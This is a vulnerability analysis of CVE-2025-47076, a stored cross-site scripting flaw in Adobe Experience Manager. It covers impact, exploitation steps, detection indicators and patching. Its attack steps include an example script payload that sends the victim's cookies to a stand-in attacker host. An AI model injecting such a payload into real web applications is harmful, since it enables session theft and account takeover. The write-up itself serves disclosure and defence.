CVE-2025-47076: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-47076 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available shortly after. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An attacker with low-level privileges can inject malicious JavaScript into form fields within AEM; the payload is stored server-side and subsequently executed in the browser of any user who visits the page containing the vulnerable field. Exploitation requires network access, low complexity, and user interaction (a victim browsing to the affected page), with a changed scope indicating the impact crosses the security boundary of the originating application (Adobe Advisory).

Successful exploitation could allow an attacker to execute arbitrary JavaScript in a victim's browser, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and compromise of web application integrity. The confidentiality and integrity impacts are rated low, and there is no direct availability impact. Because the injected script executes in the context of the victim's authenticated session, the risk of privilege escalation or lateral movement within the AEM environment is a realistic concern (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-47076. The EPSS score is approximately 0.029%, indicating a very low probability of exploitation in the near term. The vulnerability has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premise) or a Cloud Service version prior to 2025.5.0, accessible over the network.
2. Obtain low-privileged access: Register or use an existing low-privileged account on the AEM instance (e.g., a content author or contributor account).
3. Locate vulnerable form field: Navigate to a form or content editing interface within AEM that does not properly sanitize user input before storing it.
4. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and submit the form.
5. Payload persistence: The malicious script is stored server-side within AEM's content repository.
6. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious JavaScript executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints from low-privileged accounts containing encoded or obfuscated script tags (e.g., %3Cscript%3E, <script>, or javascript:).
• Content Repository: Unexpected <script> tags or JavaScript event handlers (e.g., onerror, onload, onclick) stored within AEM page or form content nodes in the JCR repository.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially carrying cookie or session data as query parameters.
• Browser/Client Logs: JavaScript console errors or unexpected redirects originating from AEM-served pages, indicating injected script execution.

Adobe has released patched versions addressing this vulnerability: AEM on-premise users should upgrade to version 6.5.23.0 or later, and AEM Cloud Service users should ensure they are on release 2025.5.0 or later. As interim mitigations, organizations should implement strict input validation and output encoding on all form fields, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and limit access to form management interfaces to trusted users only. Regularly auditing user-submitted content for unexpected script tags is also recommended (Adobe Advisory).

The vulnerability received limited but notable community attention following its disclosure on June 10, 2025. Security aggregators including RedPacketSecurity shared the advisory on social media platforms, and the vulnerability was indexed by VulDB and Tenable shortly after publication. No significant vendor statements beyond the official Adobe advisory or notable independent researcher commentary have been identified.
